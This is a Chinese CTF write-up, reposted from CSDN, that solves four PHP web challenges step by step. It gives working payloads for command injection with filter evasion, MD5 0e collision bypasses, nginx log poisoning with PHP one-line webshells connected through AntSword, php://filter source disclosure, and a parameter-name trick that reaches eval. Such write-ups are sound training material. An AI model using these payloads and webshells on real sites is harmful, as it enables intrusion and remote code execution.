您的位置:首页 > 财经 > 金融 > 【无标题】

【无标题】

2025/4/3 9:50:12 来源:https://blog.csdn.net/2303_77961060/article/details/139453025  浏览:    关键词:【无标题】

1.[MoeCTF 2021]babyRCE

 代码审计,rce,没有过滤ls,直接传参?rce=ls

 有flag.php,直接cat命令打开

构造:?rce=c\at${IFS}fl\ag.php

打开源代码

 也可以用tac命令

?rce=ta\c%09f\lag.php

可以直接打印出来

2.[SWPUCTF 2022 新生赛]funny_php

 <?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}?>

审计代码

GET传参num,检查是否存在,并且字符是否小于等于3,大于999999999

 如果成立,则输出D,到达下一关,使用科学计数法,构造?num=9e9

 GET传参str,正则匹配了NSSCTF,需要str等于NSSCTF

用双写绕过

构造:?num=9e9&str=NSSNSSCTFCTF

 post传参md5_1和md5_2

两个都需要是字符串,那么数组就不可以使用,需要md5_1,md5_2的值不一样,但是二者的MD5值一样,0e绕过

构造:md5_1=s155964671a&md5_2=s878926199a

涉及科学记数法绕过,双写绕过,0e绕过

3.[HNCTF 2022 WEEK2]easy_include

 GET传参file,尝试/etc/passwd,

进过搜索后, nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

有日志包含漏洞

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

所以,构造:?file=/var/log/nginx/access.log

nginx服务器,可以看到回显的是ua报文头,同理,我们在ua头构造一句话木马 .

抓包,写入一句话木马:<?php system('ls /');?>

需要点击两次发送,第一次是写入木马,第二次是执行木马

接着就可以用cat命令读取flag

 涉及nginx服务器日志包含漏洞,可在回显出写入一句话木马。

当然一句话木马也可以写:

<?php eval($_POST['cmd']); ?>

传入成功后链接蚁剑

url :http://node5.anna.nssctf.cn:20241/?file=/var/log/nginx/access.log

密码:cmd

4.[NSSRound#8 Basic]MyDoor

进去后是一个空白页面,但有file参数

使用伪协议读取index.php的 内容

构造:?file=php://filter/convert.base64-encode/resource=index.php

得到:

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYgKGlzc2V0KCRfR0VUWydOX1MuUyddKSkgew0KICAgIGV2YWwoJF9HRVRbJ05fUy5TJ10pOw0KfQ0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxsYXxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGUgJGZpbGU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCdlcnJvci4nKTsNCiAgICB9DQp9

解码:

<?php
error_reporting(0);if (isset($_GET['N_S.S'])) {eval($_GET['N_S.S']);
}if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include $file;} else {die('error.');}
}

发现还有一个参数N_S.S

但是不能够直接这样传参,需要用[代替

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造的话N_S.S,最后php执行的是N_S_S,因此我们将前面的_用[代替

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

所以构造:?N[S.S=phpinfo();

查看配置信息,里面匹配到flag

涉及到filter协议读取index.php源码,php非法传参

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com